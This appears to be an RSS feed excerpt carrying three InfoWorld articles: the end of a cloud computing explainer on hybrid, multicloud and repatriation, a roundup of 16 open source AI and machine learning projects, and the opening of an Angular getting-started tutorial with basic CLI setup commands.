<p class="wp-block-paragraph">VMware remains a force in the private cloud software market, but the acquisition by Broadcom has created confusion and raised concerns among some customers about potential changes in pricing, licensing, and support. This could lead some organizations to explore alternative solutions.</p>



<p class="wp-block-paragraph">OpenStack continues to be a popular open-source choice for building private clouds. It offers a flexible and customizable platform that can be tailored to specific needs. However, OpenStack can be complex to deploy and manage, and it may require significant expertise to maintain.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3268073/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a>, a container orchestration platform that has gained significant traction in recent years, is often used in conjunction with other technologies like OpenStack to build <a href="https://www.infoworld.com/article/3281046/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native</a> applications. Red Hat OpenShift is a comprehensive cloud platform based on Kubernetes that provides a managed experience for deploying and managing <a href="https://www.infoworld.com/article/3310941/why-you-should-use-docker-and-containers.html">container</a>-based, applications.</p>



<p class="wp-block-paragraph">Many cloud providers offer their own cloud-native platforms and tools, such as <a href="https://www.networkworld.com/article/968169/aws-rolls-out-outposts-for-on-premises-hybrid-cloud.html">AWS Outposts</a>, <a href="https://www.infoworld.com/article/2253985/a-cloud-in-your-datacenter-microsoft-azure-stack-arrives.html">Azure Stack</a>, and <a href="https://www.infoworld.com/article/2257617/what-is-google-cloud-anthos-managed-kubernetes-everywhere.html">Google Cloud Anthos</a>.</p>



<p class="wp-block-paragraph">Common factors to consider when evaluating private cloud platforms include the following:</p>



<ol class="wp-block-list">
<li><strong>Pricing</strong>: The initial cost of deployment and ongoing maintenance costs.</li>



<li><strong>Complexity</strong>: The level of technical expertise needed to manage the platform.</li>



<li><strong>Flexibility</strong>: The ability to customize the platform to meet specific needs.</li>



<li><strong>Vendor lock-in</strong>: The degree to which the organization is tied to a particular vendor.</li>



<li><strong>Security</strong>: The security features and capabilities of the platform.</li>



<li><strong>Scalability</strong>: The capability to expand the platform to meet future needs.</li>
</ol>



<h3 class="wp-block-heading"><strong>Hybrid cloud definition</strong></h3>



<p class="wp-block-paragraph">A <a href="https://www.infoworld.com/article/2257084/hybrid-cloud-private-cloud-public-cloud-multicloud-how-to-choose.html">hybrid cloud</a> is the integration of a private cloud with a public cloud. At its most developed, the hybrid cloud involves creating parallel environments in which applications can move easily between private and public clouds. In other instances, databases may stay in the customer data center and integrate with public cloud applications — or virtualized data center workloads may be replicated to the cloud during times of peak demand. The types of integrations between private and public clouds vary widely, but they must be extensive to earn a hybrid cloud designation.</p>



<h3 class="wp-block-heading"><strong>Public APIs (application programming interfaces) definition</strong></h3>



<p class="wp-block-paragraph">Just as SaaS delivers applications to users over the internet, public <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a> offer developers application functionality that can be accessed programmatically. For example, in building web applications, developers often tap into the Google Maps API to provide driving directions; to integrate with social media, developers may call upon APIs maintained by Twitter, Facebook, or LinkedIn. <a href="https://www.infoworld.com/article/2253662/get-started-with-twilios-programmable-video-api.html">Twilio</a> has built a successful business delivering telephony and messaging services via public APIs. Ultimately, any business can provision its own public APIs to enable customers to consume data or access application functionality.</p>



<h3 class="wp-block-heading"><strong>iPaaS (integration platform as a service) definition</strong></h3>



<p class="wp-block-paragraph">Data integration is a key issue for any sizeable company, but particularly for those that adopt SaaS at scale. iPaaS providers typically offer prebuilt connectors for sharing data among popular SaaS applications and on-premises enterprise applications, though providers may focus more or less on business-to-business and e-commerce integrations, cloud integrations, or traditional SOA-style integrations. iPaaS offerings in the cloud from such providers as Dell Boomi, Informatica, MuleSoft, and SnapLogic also let users implement data mapping, transformations, and workflows as part of the integration-building process.</p>



<h3 class="wp-block-heading"><strong>IDaaS (identity as a service) definition</strong></h3>



<p class="wp-block-paragraph">The most difficult security issue related to <a href="https://www.infoworld.com/article/2268884/why-cloud-computing-is-always-a-good-question.html">cloud computing</a> is managing user identity and its associated rights and permissions across data centers and pubic cloud sites. <a href="https://www.csoonline.com/article/572759/idaas-explained-how-it-compares-to-iam.html">IDaaS providers</a> maintain cloud-based user profiles that authenticate users and enable access to resources or applications based on security policies, user groups, and individual privileges. The ability to integrate with various directory services (Active Directory, LDAP, etc.) and provide single sign-on across business-oriented SaaS applications is essential.</p>



<p class="wp-block-paragraph">Leaders in IDaaS include Microsoft, IBM, Google, Oracle, Okta, Capgemini, Okta, Junio Corporation, OneLogin, and JumpCloud. <strong> </strong></p>



<h3 class="wp-block-heading"><strong>Collaboration platforms</strong></h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/3595255/slack-adds-templates-to-help-users-kick-off-projects-quicker.html">Collaboration solutions such as Slack</a> and <a href="https://www.computerworld.com/article/3593909/microsoft-combines-teams-chat-and-channels-in-ui-refresh.html">Microsoft Teams</a> have become vital messaging platforms that enable groups to communicate and work together effectively. Basically, these solutions are relatively simple SaaS applications that support chat-style messaging along with file sharing and audio or video communication. Most offer APIs to facilitate integrations with other systems and enable third-party developers to create and share add-ins that augment functionality.</p>



<h3 class="wp-block-heading"><strong>Vertical clouds</strong></h3>



<p class="wp-block-paragraph">Key providers in such industries as financial services, healthcare, retail, life sciences, and manufacturing provide PaaS clouds to enable customers to build vertical applications that tap into industry-specific, API-accessible services. Vertical clouds can dramatically reduce the time to market for vertical applications and accelerate domain-specific B2B integrations. Most vertical clouds are built with the intent of nurturing partner ecosystems.</p>



<h2 class="wp-block-heading"><strong>Other cloud computing considerations</strong></h2>



<p class="wp-block-paragraph">The most widely accepted definition of cloud computing means that you run your workloads on someone else’s servers, but this is not the same as outsourcing. Virtual cloud resources and even SaaS applications must be configured and maintained by the customer. Consider these factors when planning a cloud initiative.</p>



<h3 class="wp-block-heading"><strong>Cloud computing security considerations</strong></h3>



<p class="wp-block-paragraph">Objections to the public cloud generally begin with <a href="https://www.csoonline.com/article/555213/top-cloud-security-threats.html">cloud security</a>, although the major public clouds have proven themselves much less susceptible to attack than the average enterprise data center.</p>



<p class="wp-block-paragraph">Of greater concern is the integration of security policy and identity management between customers and public cloud providers. In addition, government regulation may forbid customers from allowing sensitive data off-premises. Other concerns include the risk of outages and the long-term operational costs of public cloud services.</p>



<h3 class="wp-block-heading"><strong>Multicloud management considerations</strong></h3>



<p class="wp-block-paragraph">To enhance their operational efficiency, reduce costs, and improve security, many companies are increasingly turning to <a href="https://www.infoworld.com/article/2335587/can-cloud-computing-be-truly-federated.html">multicloud strategies</a>. By distributing workloads across <a href="https://www.infoworld.com/article/2336303/are-the-different-public-clouds-really-that-different.html">multiple cloud providers</a>, organizations can avoid vendor lock-in, <a href="https://www.infoworld.com/article/2261783/3-cloud-architecture-patterns-that-optimize-scalability-and-cost.html">optimize costs</a>, and leverage the best-of-breed services offered by different providers.</p>



<p class="wp-block-paragraph">This multicloud approach also improves performance and reliability by minimizing downtime and optimizing latency. Additionally, multicloud strategies strengthen security by diversifying the attack surface and facilitating compliance with industry regulations. Finally, by replicating critical workloads across multiple regions and providers, companies can establish robust disaster recovery and business continuity plans, ensuring minimal disruption in the event of catastrophic failures.</p>



<p class="wp-block-paragraph">The bar to qualify as a <a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">multicloud</a> adopter is low: A customer just needs to use more than one public cloud service. However, depending on the number and variety of cloud services involved, managing multiple clouds can become complex from both a cost optimization and a technology perspective.</p>



<p class="wp-block-paragraph">In some cases, customers subscribe to multiple cloud services simply to avoid dependence on a single provider. A more sophisticated approach is to select public clouds based on the unique services they offer and, in some cases, integrate them. For example, developers might want to use Google’s <a href="https://www.infoworld.com/article/2336686/google-vertex-ai-studio-puts-the-promise-in-generative-ai.html">Vertex AI Studio</a> on Google Cloud Platform to build AI-driven applications, but prefer <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a> hosted on the CloudBees platform for <a href="https://www.infoworld.com/article/3271126/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration</a>.</p>



<p class="wp-block-paragraph">To control costs and reduce management overhead, some customers opt for <a href="https://www.infoworld.com/article/3520828/how-cloud-custodian-conquered-cloud-resource-management.html">cloud management platforms</a> (CMPs) and/or cloud service brokers (CSBs), which let you manage multiple clouds as if they were one cloud. The problem is that these solutions tend to limit customers to such common-denominator services as storage and compute, ignoring the panoply of services that make each cloud unique.</p>



<h3 class="wp-block-heading"><strong>Edge computing considerations</strong></h3>



<p class="wp-block-paragraph">You often see <a href="https://www.networkworld.com/article/964305/what-is-edge-computing-and-how-it-s-changing-the-network.html">edge computing</a> incorrectly described as an alternative to cloud computing. Edge computing is about moving compute to local devices in a highly distributed system, typically as a layer around a cloud computing core. There is typically a cloud involved to orchestrate all of the devices and take in their data, then analyze it or otherwise act on it. </p>



<h3 class="wp-block-heading"><strong>To the cloud and back – why repatriation is real</strong></h3>



<p class="wp-block-paragraph">While public cloud offers scalability and flexibility, some enterprises are opting to <a href="https://www.infoworld.com/article/2336102/why-companies-are-leaving-the-cloud.html">return to on-premises infrastructure</a> due to rising costs, data security concerns, performance issues, vendor lock-in, and regulatory compliance challenges. While the public cloud offers scalability and flexibility, on-premises infrastructure provides greater control, customization, and potential cost savings in certain scenarios leading some technology decision-makers to <a href="https://www.infoworld.com/article/2336835/do-you-need-to-repatriate-from-the-cloud.html">consider repatriation</a>. However, a hybrid cloud approach, combining public and private cloud, often offers the best balance of benefits.</p>



<p class="wp-block-paragraph">More specific reasons to repatriate including the following:</p>



<ul class="wp-block-list">
<li>Unanticipated costs, such as data transfer fees, storage charges, and <a href="https://www.infoworld.com/article/2336430/why-public-cloud-providers-are-cutting-egress-fees.html">egress fees</a>, can quickly escalate, especially for large-scale cloud deployments.  </li>



<li>Inaccurate resource provisioning or underutilization can lead to higher-than-expected costs.</li>



<li>Stricter <a href="https://www.infoworld.com/article/3545268/why-cloud-security-outranks-cost-and-scalability.html">data privacy regulations</a> require organizations to store and process data within specific geographic boundaries.  </li>



<li>For highly sensitive data, companies may prefer to maintain greater control over security measures and access permissions. </li>



<li><a href="https://www.infoworld.com/article/2338856/cloud-may-be-overpriced-compared-to-on-premises-systems.html">On-premises infrastructure</a> can offer lower latency, particularly for applications requiring real-time processing or high-performance computing.  </li>



<li>Overreliance on a single cloud provider can limit flexibility and increase costs. Repatriation allows organizations to diversify their infrastructure and reduce vendor dependency.  </li>



<li>Industries with stringent compliance requirements may find it easier to meet standards with on-premises infrastructure.  </li>



<li>On-premises environments offer greater control over hardware, software, and network configurations, allowing for customized solutions.  </li>
</ul>



<h2 class="wp-block-heading"><strong>Benefits of cloud computing</strong></h2>



<p class="wp-block-paragraph">The cloud’s main appeal is to reduce the time to market of applications that need to scale dynamically. Increasingly, however, developers are drawn to the cloud by the abundance of advanced new services that can be incorporated into applications, from machine learning to internet of things (IoT) connectivity.</p>



<p class="wp-block-paragraph">Although businesses sometimes migrate legacy applications to the cloud to reduce data center resource requirements, the real benefits accrue to new applications that take advantage of cloud services and “cloud native” attributes. The latter include <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices architecture</a>, <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Linux containers</a> to enhance application portability, and container management solutions such as <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> that orchestrate container-based services. <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">Cloud-native</a> approaches and solutions can be part of either public or private clouds and help enable highly efficient <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> workflows.</p>



<p class="wp-block-paragraph">Cloud computing, be it public or private or hybrid or multicloud, has become the platform of choice for large applications, particularly customer-facing ones that need to change frequently or scale dynamically. More significantly, the major public clouds now lead the way in enterprise technology development, debuting new advances before they appear anywhere else. Workload by workload, enterprises are opting for the cloud, where an endless parade of exciting new technologies invite innovative use.</p>



<p class="wp-block-paragraph">SaaS has its roots in the ASP (application service provider) trend of the early 2000s, when providers would run applications for business customers in the provider’s data center, with dedicated instances for each customer. The ASP model was a spectacular failure because it quickly became impossible for providers to maintain so many separate instances, particularly as customers demanded customizations and updates.</p>



<p class="wp-block-paragraph">Salesforce is widely considered the first company to launch a highly successful SaaS application using <a href="https://www.infoworld.com/article/2335534/the-evolution-of-multitenancy-for-cloud-computing.html">multitenancy</a> — a defining characteristic of the SaaS model. Rather than each Salesforce customer getting its own application instance, customers who subscribe to the company’s salesforce automation software share a single, large, dynamically scaled instance of an application (like tenants sharing an apartment building), while storing their data in separate, secure repositories on the SaaS provider’s servers. Fixes can be rolled out behind the scenes with zero downtime and customers can receive UX or functionality improvements as they become available.</p>



<p class="wp-block-paragraph"></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[16 open source projects transforming AI and machine learning]]></title>
<description><![CDATA[For several decades now, the most innovative software has always emerged from the world of open source software. It’s no different with machine learning and large language models. If anything, the open source ecosystem has grown richer and more complex, because now there are open source models to...]]></description>
<link>https://tsecurity.de/de/3665665/ai-nachrichten/16-open-source-projects-transforming-ai-and-machine-learning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665665/ai-nachrichten/16-open-source-projects-transforming-ai-and-machine-learning/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For several decades now, the most innovative software has always emerged from the world of open source software. It’s no different with machine learning and <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a>. If anything, the open source ecosystem has grown richer and more complex, because now there are open source models to complement the open source code.</p>



<p class="wp-block-paragraph">For this article, we’ve pulled together some of the most intriguing and useful projects for <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI and machine learning</a>. Many of these are foundation projects, nurturing their own niche ecology of open source plugins and extensions. Once you’ve started with the basic project, you can keep adding more parts.</p>



<p class="wp-block-paragraph">Most of these projects offer demonstration code, so you can start up a running version that already tackles a basic task. Additionally, the companies that build and maintain these projects often sell a service alongside them. In some cases, they’ll deploy the code for you and save you the hassle of keeping it running. In others, they’ll sell custom add-ons and modifications. The code itself is still open, so there’s no vendor lock in. The services simply make it easier to adopt the code by paying someone to help.</p>



<p class="wp-block-paragraph">Here are 16 open source projects that developers can use to unlock the potential in machine learning and large language models of any size—from small to large, and even extra large.</p>



<h2 class="wp-block-heading">Agent Skills</h2>



<p class="wp-block-paragraph">AI coding agents are often used to tackle standard tasks like <a href="https://www.infoworld.com/article/3981588/putting-agentic-ai-to-work-in-firebase-studio.html">writing React components</a> or <a href="https://www.infoworld.com/article/4025088/how-coderabbit-brings-ai-to-code-reviews.html">reviewing parts of the user interface</a>. If you are writing a coding agent, it makes sense to use vetted solutions that are focused on the task at hand. <a href="https://github.com/vercel-labs/agent-skills">Agent Skills</a> are pre-coded tools that your AI can deploy as needed. The result is a focused set of vetted operations capable of producing refined, useful code that stays within standard guidelines. License: MIT.</p>



<h2 class="wp-block-heading">Awesome LLM Apps</h2>



<p class="wp-block-paragraph">If you are looking for good examples of agentic coding, see the <a href="https://github.com/Shubhamsaboo/awesome-llm-apps">Awesome LLM Apps collection</a>. Currently, the project hosts several dozen applications that leverage some combination of <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">RAG databases</a> and LLMs. Some are simple, like a meme generator, while others handle deeper research like the Journalist agent. The most complex examples deploy multi-agent teams to converge upon an answer. Every application comes with working examples for experimentation, so you can learn from what’s been successful in the past. Altogether, the apps in this collection are great inspiration for your own projects. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Bifrost</h2>



<p class="wp-block-paragraph">If your application requires access to an LLM service, and you don’t have a particular one in mind, check out <a href="https://github.com/maximhq/bifrost">Bifrost</a>. A fast, unified gateway to more than 15 LLM providers, this OpenAI-compatible API quickly abstracts away the differences between models, including all the major ones. It includes essential features like governance, caching, budget management, load balancing, and it has guardrails to catch problems before they are sent out to service providers, who will just bill you for the time. With dozens of great LLM providers constantly announcing new and better models, why limit yourself? License: Apache 2.0.</p>



<h2 class="wp-block-heading">Claude Code</h2>



<p class="wp-block-paragraph">If the popularity of AI coding assistants tells us anything, it’s that all developers—and not just the ones building AI apps—appreciate a little help writing and reviewing their code. <a href="https://github.com/anthropics/claude-code">Claude Code</a> is that pair programmer. Trained on all the major programming languages, <a href="https://www.infoworld.com/article/3853805/vibe-coding-with-claude-code.html">Claude Code can help you write code that is better, faster, and cleaner</a>. It digests a codebase and then starts doing your bidding, while also making useful suggestions. Natural language commands plus some vague hand waving are all the Anthropic LLM needs to refactor, document, or even add new features to your existing code. License: Anthropic’s Commercial TOS.</p>



<h2 class="wp-block-heading">Clawdbot</h2>



<p class="wp-block-paragraph">Many of the tools in this list help developers create code for other people. <a href="https://github.com/clawdbot/clawdbot?tab=readme-ov-file">Clawdbot</a> is the AI assistant for you, the person writing the code. It integrates with your desktop to control built-in tools like the camera and large applications like the browser. A multi-channel inbox accepts your commands through more than a dozen different communication channels including WhatsApp, Telegram, Slack, and Discord. A cron job adds timing. It’s the ultimate assistant for you, the ruler of your data. If AI exists to make our lives easier, why not start by organizing the applications on your desktop? License: MIT.</p>



<h2 class="wp-block-heading">Dify</h2>



<p class="wp-block-paragraph">For projects that require more than just one call to an LLM, <a href="https://github.com/langgenius/dify">Dify</a> could be the solution you’ve been looking for. Essentially a development environment for building complex agentic workflows, Dify stitches together LLMs, RAG databases, and other sources. It then monitors how they perform under different prompts and parameters and puts it all together in a handy dashboard, so you can iterate on the results. Developing agentic AI requires rapid experimentation, and Dify provides the environment for those experiments. License: Modified version of Apache 2.0 to exclude some commercial uses.</p>



<h2 class="wp-block-heading">Eigent</h2>



<p class="wp-block-paragraph">The best way to explore the power and limitations of an agentic workflow is to deploy it yourself on your own machine, where it can solve your own problems. Eigent delivers a workforce of specialized agents for handling tasks like writing code, searching the web, and creating documents. You just wave your hands and issue instructions, and Eigent’s LLMs do their best to follow through. Many startups brag about eating their own dogfood. Eigent puts that concept on a platter, making it easy for AI developers to experience directly the abilities and failings of the LLMs they’re building. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Headroom</h2>



<p class="wp-block-paragraph">Programmers often think like packrats. If the data is good, why not pack in some more? This is a challenge for code that uses an LLM because these services charge by the token, and they also have a limited context window. <a href="https://github.com/chopratejas/headroom">Headroom</a> tackles this issue with agile compression algorithms that trim away the excess, especially the extra labels and punctuation found in common formats like JSON. A big part of designing working AI applications is cost engineering, and saving tokens means saving money. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Hugging Face Transformers</h2>



<p class="wp-block-paragraph">When it comes to starting up a brand-new machine learning project, <a href="https://github.com/huggingface/transformers">Hugging Face Transformers</a> is one of the best foundations available. Transformers offers a standard format for defining how the model interacts with the world, which makes it easy to drop a new model into your working infrastructure for training or deployment. This means your model will interact nicely with all the already available tools and infrastructure, whether for text, vision, audio, video, or all of the above. Fitting into a standard paradigm makes it much easier to leverage your existing tools while focusing on the cutting edge of your research. License: Apache 2.0.</p>



<h2 class="wp-block-heading">LangChain</h2>



<p class="wp-block-paragraph">For agentic AI solutions that require endless iteration, <a href="https://github.com/langchain-ai/langchain">LangChain</a> is a way to organize the effort. It harnesses the work of a large collection of models and makes it easier for humans to inspect and curate the answers. When the task requires deeper thinking and planning, LangChain makes it easy to work with agents that can leverage multiple models to converge upon a solution. LangChain’s architecture includes a framework (LangGraph) for organizing easily customizable workflows with long-term memory, and a tool (LangSmith) for evaluating and improving performance. Its Deep Agents library provides teams of sub-agents, which organize problems into subsets then plan and work toward solutions. It is a proven, flexible test bed for agentic experimentation and production deployment. License: MIT.</p>



<h2 class="wp-block-heading">LlamaIndex</h2>



<p class="wp-block-paragraph">Many of the early applications for LLMs are sorting through large collections of semi-structured data and providing users with useful answers to their questions. One of the fastest ways to customize a standard LLM with private data is to use <a href="https://github.com/run-llama/llama_index">LlamaIndex</a> to ingest and index the data. This off-the-shelf tool provides data connectors that you can use to unpack and organize a large collection of documents, tables, and other data, often with just a few lines of code. The layers underneath can be tweaked or extended as the job requires, and LlamaIndex works with many of the data formats common in enterprises. License: MIT.</p>



<h2 class="wp-block-heading">Ollama</h2>



<p class="wp-block-paragraph">For anyone experimenting with LLMs on their laptop, <a href="https://github.com/ollama/ollama">Ollama</a> is one of the simplest ways to <a href="https://www.infoworld.com/article/2338922/5-easy-ways-to-run-an-llm-locally.html" data-type="link" data-id="https://www.infoworld.com/article/2338922/5-easy-ways-to-run-an-llm-locally.html">download one or more of them and get started</a>. Once it’s installed, your command line becomes a small version of the classic ChatGPT interface, but with the ability to pull a huge collection of models from a growing library of open source options. Just enter: <code>ollama run </code> and the model is ready to go. Some developers are using it as a back-end server for LLM results. The tool provides a stable, trustworthy interface to LLMs, something that once required quite a bit of engineering and fussing. The server simplifies all this work so you can tackle higher level chores with many of the <a href="https://ollama.com/library">most popular open source LLMs</a> at your fingertips. License: MIT.</p>



<h2 class="wp-block-heading">OpenWebUI</h2>



<p class="wp-block-paragraph">One of the fastest ways to put up a website with a chat interface and a dedicated RAG database is to spin up an instance of <a href="https://github.com/open-webui/open-webui">OpenWebUI</a>. This project knits together a feature-rich front end with an open back end, so that starting up a customizable chat interface only requires pulling a few <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker containers</a>. The project, though, is just a beginning, because it offers the opportunity to add plugins and extensions to enhance the data at each stage. Practically every part of the chain from prompt to answer can be tweaked, replaced, or improved. While some teams might be happy to set it up and be done, the advantages come from adding your own code. The project isn’t just open source itself, but a constellation of hundreds of little bits of contributed code and ancillary projects that can be very helpful. Being able to customize the pipeline and leverage the <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP protocol</a> supports the delivery of precision solutions. License: Modified BSD designed to restrict removing OpenWebUI branding without an enterprise license.</p>



<h2 class="wp-block-heading">Sim</h2>



<p class="wp-block-paragraph">The drag-and-drop canvas for <a href="https://github.com/simstudioai/sim">Sim</a> is meant to make it easier to experiment with <a href="https://www.infoworld.com/article/4086884/how-to-automate-the-testing-of-ai-agents.html">agentic workflows</a>. The tool handles the details of interacting with the various LLMs and vector databases; you just decide how to fit them together. Interfaces like Sim make the agentic experience accessible to everyone on your team, even those who don’t know how to write code. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Sloth</h2>



<p class="wp-block-paragraph">One of the most straightforward ways to leverage the power of foundational LLMs is to start with an open source model and fine-tune it with your own data. <a href="https://github.com/unslothai/unsloth">Unsloth</a> does this, often faster than other solutions do. Most major open source models can be transformed with reinforcement learning. Unsloth is designed to work with most of the standard precisions and some of the largest context windows. The best answers won’t always come directly from RAG databases. Sometimes, adjusting the models is the best solution. License: Apache 2.0.</p>



<h2 class="wp-block-heading">vLLM</h2>



<p class="wp-block-paragraph">One of the best ways to turn an LLM into a useful service for the rest of your code is to start it up with <a href="https://github.com/vllm-project/vllm">vLLM</a>. The tool loads many of the available open source models from repositories like Hugging Face and then orchestrates the data flows so they keep running. That means batching the incoming prompts and managing the pipelines so the model will be a continual source of fast answers. It supports not just the CUDA architecture but also AMD CPUs and GPUs, Intel CPUs and GPUs, PowerPC CPUs, Arm CPUs, and TPUs. It’s one thing to experiment with lots of models on a laptop. It’s something else entirely to deploy the model in a production environment. vLLM handles many of the endless chores that deliver better performance. License: Apache-2.0.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Get started with Angular: Introducing the modern reactive workflow]]></title>
<description><![CDATA[Angular is a cohesive, all-in-one reactive framework for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to...]]></description>
<link>https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Angular is a cohesive, all-in-one <a href="https://www.infoworld.com/article/3962039/what-you-need-to-know-about-angular-react-vue-and-svelte-popular-javascript-frameworks-compared.html">reactive framework</a> for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to <a href="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html">React</a>, many of those issues <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">were addressed in Angular 19</a>. Modern Angular is built around the <a href="https://blog.angular-university.io/angular-signals">Signals API</a> and minimal formality, while still delivering a one-stop-shop that includes dependency injection and integrated routing.</p>



<p class="wp-block-paragraph">Angular is popular with the enterprise because of its stable, curated nature, but it is becoming more attractive to the wider developer community thanks to its more <a href="https://www.infoworld.com/article/3802707/angular-team-unveils-strategy-for-2025.html">community engaged development philosophy</a>. That, along with its recent technical evolution, make Angular one of the most interesting projects to watch right now.</p>



<h2 class="wp-block-heading">Why choose Angular?</h2>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2336227/whats-the-best-javascript-framework.html">Choosing a JavaScript development framework</a> sometimes feels like a philosophical debate, but it should be a practical decision. Angular is unique because it is strongly opinionated. It doesn’t just give you a view layer; it provides a complete toolkit for building web applications.</p>



<p class="wp-block-paragraph">Like other reactive frameworks, Angular is built around its reactive engine, which lets you bind state (variables) to the view. But if that’s all you needed, one of the smaller, more focused frameworks would be more than enough. What Angular has that some of these other frameworks don’t is its ability to use data binding to automatically synchronize data from your user interface (UI) with your JavaScript objects. Angular also leverages dependency injection and inversion of control to help structure your application and make it easier to test. And it contains more advanced features like server-side rendering (SSR) and static-site generation (SSG) within itself, rather than requiring you to engage a <a href="https://www.infoworld.com/article/3831686/plug-and-play-web-development-with-astro-js.html">meta-framework</a> for either style of development.</p>



<p class="wp-block-paragraph">While Angular might not be your top choice for every occasion, it’s an excellent option for larger projects that require features you won’t get with a more lightweight framework.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Catching up with Angular 19</a>.</strong></p>



<h2 class="wp-block-heading">Getting started with Angular</h2>



<p class="wp-block-paragraph">With those concepts in mind, let’s set up Angular in your development environment. After that, we can run through developing a web application with Angular. To start, make sure you have Node and NPM installed. From the command line, enter:</p>



<pre class="wp-block-code"><code>$ node -v
$ npm -v</code></pre>



<p class="wp-block-paragraph">Next, you can use the Angular CLI to launch a new app:</p>



<pre class="wp-block-code"><code>$ ng new iw-ng</code></pre>



<p class="wp-block-paragraph">You can use the defaults in your responses to the interactive prompts shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular1.png?w=1024" alt="A screenshot of a new project setup in the Angular command-line interface." class="wp-image-4123771" width="1024" height="413" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">We now have a basic project layout in the new directory, which you can import into an IDE (such as <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html" data-type="link" data-id="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">VS Code</a>) or edit directly.</p>



<p class="wp-block-paragraph">Looking at the project layout, you might notice it is fairly lean, a break from Angular projects of the past. The most important parts are:</p>



<ul class="wp-block-list">
<li><code>src/main.ts</code>: This is the main entry point. In older versions of Angular, this file had to bootstrap a module, which then bootstrapped a component. Now, it avoids any verbose syntax, calling bootstrapApplication with your root component directly.</li>



<li><code>src/index.html</code>: The main HTML page that hosts your application. This is the standard index.html that serves all root requests in a web page and contains the  tag where your Angular component will render. It is the “body” that the “spirit” of your code animates.</li>



<li><code>src/app/app.ts</code>: The root component of your application. This single file defines the view logic and the component metadata. In the new “standalone” world, it manages its own imports, meaning you can see exactly what dependencies it uses right at the top of the file. (This is the <code></code> root element that appears in <code>src/index.html</code>.)</li>



<li><code>src/app/app.config.ts</code>: This file is new in modern Angular and replaces the old A<code>ppModule providers</code> array. It is where you configure global services, like the router or HTTP client.</li>



<li><code>angular.json</code>: The configuration file for the CLI itself. It tells the build tools how to process your code, though you will rarely need to touch this file manually anymore.</li>
</ul>



<p class="wp-block-paragraph">Here is the basic flow of how the engine renders these components:</p>



<ol start="1" class="wp-block-list">
<li><strong>The arrival (HTML)</strong>: The browser receives <code>index.html</code>. The <code></code> tag is there, but it’s empty.</li>



<li><strong>The unpacking (JavaScript)</strong>: The browser sees the <code></code> tags at the bottom of the HTML and downloads the JavaScript bundles (your compiled code) from <code>src/app/app.ts</code>.</li>



<li><strong>The assembly (Bootstrap)</strong>: The browser runs that JavaScript. The code “wakes up,” finds the <code></code> tag in the DOM, and dynamically inserts your title, buttons, and lists.</li>
</ol>



